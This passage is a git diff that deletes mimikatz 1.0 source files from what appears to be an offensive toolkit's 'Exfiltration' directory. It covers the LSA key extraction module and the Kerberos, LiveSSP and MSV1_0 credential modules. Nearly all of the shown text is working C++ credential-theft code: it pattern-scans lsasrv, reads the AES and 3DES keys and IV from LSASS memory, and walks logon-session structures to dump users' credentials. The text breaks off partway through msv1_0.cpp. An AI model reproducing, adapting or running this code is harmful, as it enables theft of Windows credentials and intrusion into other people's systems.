- ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
- LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector;
- if(mod_system::GLOB_Version.dwBuildNumber < 8000)
- {
- PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY;
- SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
- OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey;
-#ifdef _M_X64
- if(mod_system::GLOB_Version.dwMinorVersion < 1)
- {
- OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey;
- OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector;
- }
- else
- {
- OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey;
- OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector;
- }
-#elif defined _M_IX86
- OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey;
- OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector;
-#endif
- }
- else
- {
- PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY;
- SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
- OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey;
- OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey;
- OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector;
- }
-
- PBYTE ptrBase = NULL;
- DWORD mesSucces = 0;
- if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY))
- {
-#ifdef _M_X64
- LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4;
- PBYTE InitializationVector = reinterpret_cast((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector));
- hAesKey = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey));
- h3DesKey = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey));
- hAesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
- h3DesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
-#elif defined _M_IX86
- PBYTE InitializationVector = *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector);
- hAesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey);
- h3DesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey);
- hAesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2);
- h3DesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2);
-#endif
- if(hBCrypt && LsaInitializeProtectedMemory())
- {
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
-
- KIWI_BCRYPT_KEY maCle;
- KIWI_BCRYPT_KEY_DATA maCleData;
-
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes la fin, la structure de dpart n'tait pas inutile ;)
- mesSucces++;
-
- if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
- if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
- mesSucces++;
- }
- else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl;
- }
- else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
-
- return (mesSucces == 3);
-}
-
-
-bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData()
-{
- if(hBCrypt)
- {
- LsaCleanupProtectedMemory();
- FreeLibrary(hBCrypt);
- }
- return true;
-}
-
-bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory()
-{
- bool resultat = false;
-
- PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider"));
- PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptSetProperty"));
- PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGetProperty"));
- PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey"));
-
- if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) &&
- NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0)))
- {
- if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) &&
- NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0)))
- {
- DWORD DES3KeyLen, AESKeyLen, cbLen;
-
- if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) &&
- NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0)))
- {
- DES3Key = new BYTE[DES3KeyLen];
- AESKey = new BYTE[AESKeyLen];
-
- resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) &&
- NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0));
- }
- }
- }
- return resultat;
-}
-
-bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory()
-{
- PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptDestroyKey"));
- PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider"));
-
- if (h3DesKey )
- K_BCryptDestroyKey(*h3DesKey);
- if (hAesKey )
- K_BCryptDestroyKey(*hAesKey);
-
- if (h3DesProvider)
- K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0);
- if (hAesProvider )
- K_BCryptCloseAlgorithmProvider(*hAesProvider, 0);
-
- if(DES3Key)
- delete[] DES3Key;
- if(AESKey)
- delete[] AESKey;
-
- return true;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h
deleted file mode 100644
index 9b1940a..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_keys_nt6 {
-
-private:
- static HMODULE hBCrypt;
-
- typedef struct _KIWI_BCRYPT_KEY_DATA {
- DWORD size;
- DWORD tag;
- DWORD type;
- DWORD unk0;
- DWORD unk1;
- DWORD unk2;
- DWORD unk3;
- PVOID unk4;
- BYTE data; /* etc... */
- } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
-
- typedef struct _KIWI_BCRYPT_KEY {
- DWORD size;
- DWORD type;
- PVOID unk0;
- PKIWI_BCRYPT_KEY_DATA cle;
- PVOID unk1;
- } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
-
- static PBYTE DES3Key, AESKey;
- static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey;
- static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider;
-
- static bool LsaInitializeProtectedMemory();
- static bool LsaCleanupProtectedMemory();
-
-public:
- static bool searchAndInitLSASSData();
- static bool uninitLSASSData();
-};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
deleted file mode 100644
index dae52d2..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
+++ /dev/null
@@ -1,135 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "kerberos.h"
-#include "..\..\global.h"
-mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
-mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast(NULL);
-long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
-PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast(NULL);
-
-bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector * arguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getKerberosLogonData, wstring(L"kerberos")));
- return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
-}
-
-bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
-{
-#ifdef _M_X64
- BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
- LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
-
- BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84};
- LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
-#elif defined _M_IX86
- BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
- LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4);
- BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
- LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4);
-
- BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
- LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
-#endif
- if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
- {
- PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
-
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- pointeur= reinterpret_cast(&KerbLogonSessionList);
- pattern = PTRN_WALL_KerbFreeLogonSessionList;
- taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList);
- offset = OFFS_WALL_KerbFreeLogonSessionList;
-
- if(mod_system::GLOB_Version.dwMinorVersion < 2)
- offsetMagic = 8;
- }
- else
- {
- pointeur= reinterpret_cast(&KerbGlobalLogonSessionTable);
-
-#ifdef _M_X64
- pattern = PTRN_WALL_KerbUnloadLogonSessionTable;
- taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
- offset = OFFS_WALL_KerbUnloadLogonSessionTable;
-#elif defined _M_IX86
- if(mod_system::GLOB_Version.dwBuildNumber < 8000)
- {
- pattern = PTRN_WNO8_KerbUnloadLogonSessionTable;
- taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
- offset = OFFS_WNO8_KerbUnloadLogonSessionTable;
- }
- else
- {
- if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
- PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
- pattern = PTRN_WIN8_KerbUnloadLogonSessionTable;
- taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
- offset = OFFS_WIN8_KerbUnloadLogonSessionTable;
- }
-#endif
- }
-
- if(HMODULE monModule = LoadLibrary(L"kerberos"))
- {
- MODULEINFO mesInfos;
- if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
- {
- mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
- *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- }
- FreeLibrary(monModule);
- }
- }
- return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
-}
-
-bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
-{
- if(searchKerberosFuncs())
- {
- PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
- DWORD taille;
- BYTE * monBuff = NULL;
-
- if(KerbGlobalLogonSessionTable)
- {
- taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
- monBuff = new BYTE[taille];
-
- if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
- {
- if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
- {
- pLogSession = reinterpret_cast(monBuff);
- mesCreds = &pLogSession->credentials;
- }
- }
- }
- else
- {
- taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
- monBuff = new BYTE[taille];
- if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
- {
- if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
- {
- pLogSession = reinterpret_cast(monBuff);
- if(offsetMagic != 0)
- pLogSession = reinterpret_cast(reinterpret_cast(pLogSession) + offsetMagic);
- mesCreds = &pLogSession->credentials;
- }
- }
- }
- mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
- delete [] monBuff;
- }
- else (*outputStream) << L"n.a. (kerberos KO)";
-
- return true;
-}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h
deleted file mode 100644
index 1418d4f..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h
+++ /dev/null
@@ -1,70 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_kerberos {
-
-private:
- typedef struct _KIWI_KERBEROS_LOGON_SESSION
- {
- struct _KIWI_KERBEROS_LOGON_SESSION *Flink;
- struct _KIWI_KERBEROS_LOGON_SESSION *Blink;
- DWORD UsageCount;
- PVOID unk0;
- PVOID unk1;
- PVOID unk2;
- DWORD unk3;
- DWORD unk4;
- PVOID unk5;
- PVOID unk6;
- PVOID unk7;
- LUID LocallyUniqueIdentifier;
- #ifdef _M_IX86
- DWORD unk8;
- #endif
- DWORD unk9;
- DWORD unk10;
- PVOID unk11;
- DWORD unk12;
- DWORD unk13;
- PVOID unk14;
- PVOID unk15;
- PVOID unk16;
- KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
- } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION;
-
- typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL
- {
- DWORD unk0;
- PVOID unk1;
- PVOID unk2;
- PVOID unk3;
- #ifdef _M_X64
- BYTE unk4[32];
- #elif defined _M_IX86
- BYTE unk4[20];
- #endif
- LUID LocallyUniqueIdentifier;
- #ifdef _M_X64
- BYTE unk5[44];
- #elif defined _M_IX86
- BYTE unk5[36];
- #endif
- KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
- } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL;
-
- static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList;
- static long offsetMagic;
- static PRTL_AVL_TABLE KerbGlobalLogonSessionTable;
- static bool searchKerberosFuncs();
-
-public:
- static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS;
- static bool getKerberos(vector * arguments);
- static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity);
-};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp
deleted file mode 100644
index 7f64678..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp
+++ /dev/null
@@ -1,70 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "livessp.h"
-#include "..\..\global.h"
-mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL;
-mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast(NULL);
-
-bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector * arguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getLiveSSPLogonData, wstring(L"livessp")));
- return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
-}
-
-bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList()
-{
-#ifdef _M_X64
- BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00};
-#elif defined _M_IX86
- BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0};
-#endif
- LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4);
-
- if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList)
- {
-
- PBYTE *pointeur = reinterpret_cast(&LiveGlobalLogonSessionList);
- if(HMODULE monModule = LoadLibrary(L"livessp"))
- {
- MODULEINFO mesInfos;
- if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
- {
- mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions);
- *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- }
- FreeLibrary(monModule);
- }
- }
- return (pModLIVESSP && LiveGlobalLogonSessionList);
-}
-
-bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity)
-{
- if(searchLiveGlobalLogonSessionList())
- {
- PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
- BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)];
- if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId)))
- {
- if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
- {
- pLogSession = reinterpret_cast(monBuffP);
- if(pLogSession->suppCreds)
- {
- if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
- mesCreds = &(reinterpret_cast(monBuffC)->credentials);
- }
- else (*outputStream) << L"n.s. (SuppCred KO) / ";
- }
- }
- mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
- delete [] monBuffC, monBuffP;
- }
- else (*outputStream) << L"n.a. (livessp KO)";
- return true;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h
deleted file mode 100644
index 891da63..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_livessp {
-
-private:
- typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL
- {
- DWORD isSupp; // 88h
- DWORD unk0;
- KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
- } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL;
-
- typedef struct _KIWI_LIVESSP_LIST_ENTRY
- {
- struct _KIWI_LIVESSP_LIST_ENTRY *Flink;
- struct _KIWI_LIVESSP_LIST_ENTRY *Blink;
- PVOID unk0; // 1
- PVOID unk1; // 0FFFFFFFFh
- PVOID unk2; // 0FFFFFFFFh
- PVOID unk3; // 0
- DWORD unk4; // 0
- DWORD unk5; // 0
- PVOID unk6; // 20007D0h
- LUID LocallyUniqueIdentifier;
- LSA_UNICODE_STRING UserName;
- PVOID unk7; // 2000010Dh
- PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds;
- } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY;
-
- static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList;
- static bool searchLiveGlobalLogonSessionList();
-
-public:
- static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP;
- static bool getLiveSSP(vector * arguments);
- static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity);
-};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp
deleted file mode 100644
index 39fa015..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp
+++ /dev/null
@@ -1,217 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "msv1_0.h"
-#include "..\..\global.h"
-PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
-PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
-
-bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector * arguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0")));
- return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
-}
-
-bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
-{
-#ifdef _M_X64
- BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
- BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
-
- LONG OFFS_WALL_LogonSessionList = -sizeof(long);
- LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long));
- LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
- LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long));
- LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
-#elif defined _M_IX86
- BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
- BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
- BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
-
- LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG)));
